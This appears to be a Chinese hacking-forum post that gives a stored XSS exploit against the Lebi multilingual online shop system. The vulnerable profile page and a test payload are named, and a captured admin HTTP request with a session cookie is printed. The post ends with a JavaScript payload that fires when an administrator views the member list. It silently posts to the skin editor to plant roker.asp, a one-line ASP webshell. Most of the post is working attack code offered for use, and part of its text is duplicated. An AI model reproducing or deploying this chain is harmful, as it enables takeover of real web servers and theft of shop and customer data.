乐彼多语言网上商店系统 储存型 xss
彩笔文。。大牛绕道。。
user/Profile.aspx
没有过滤 html标签
修改资料 填写 "><script>alert(0)</script>
管理 员后台打开 会员列表就会触发
后台可以编辑 文件
抓包得到构造 js如下。。这样，管理员 登入后台打开会员列表 就会生成 roker.asp 一句话木马。。。。
彩笔文。。大牛绕道。。
user/Profile.aspx
没有过滤 html标签
修改资料 填写 "><script>alert(0)</script>
管理 员后台打开 会员列表就会触发
后台可以编辑 文件
抓包得到
Host: xxxxxi.cn
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: [url]http://xxxx.cn/admin/theme/skin_edit.aspx?tid=11&id=0[/url]
Content-Length: 72
Cookie: ASP.NET_SessionId=d3qcv0qequrzzcwznzclvmz5; CheckCodef=35446; Master=id=2&hash=098f6bcd4621d373cade4e832627b4f6&name=test; AdminLoginError=; saveusername=1; AdminUserName=test; Menu=top=5&left=61
X-Forwarded-For: [url]www.baidu.com[/url]
Pragma: no-cache
Cache-Control: no-cache
Name=a&IsPage=0&Code=a&Path_Skin=a&PageName=a.asp&SkinContent=内容&Theme_id=11thisTHost = top.location.hostname;
thisTHost = "http://" + thisTHost + "/admin/theme/skin_edit.aspx?tid=11&id=0";
function PostSubmit(url, data,name, msg) {
var postUrl = url;
var postData = data;
var nameData = name;
var msgData = msg;
var ExportForm = document.createElement("FORM");
document.body.appendChild(ExportForm);
ExportForm.method = "POST";
var newElement = document.createElement("input");
newElement.setAttribute("name", "name");
newElement.setAttribute("type", "hidden");
var newElement2 = document.createElement("input");
newElement2.setAttribute("name", "PageName");
newElement2.setAttribute("type", "hidden");
var newElement3 = document.createElement("input");
newElement3.setAttribute("name", "SkinContent");
newElement3.setAttribute("type", "hidden");
ExportForm.appendChild(newElement);
ExportForm.appendChild(newElement2);
newElement.value = postData;
newElement2.value = nameData;
newElement3.value = msgData;
ExportForm.action = postUrl;
ExportForm.submit();
};
PostSubmit(thisTHost,"a&IsPage=0&Code=a&Path_Skin=a","roker.asp","%3C%25eval+request(123)%25%3E%0D%0A&Theme_id=11");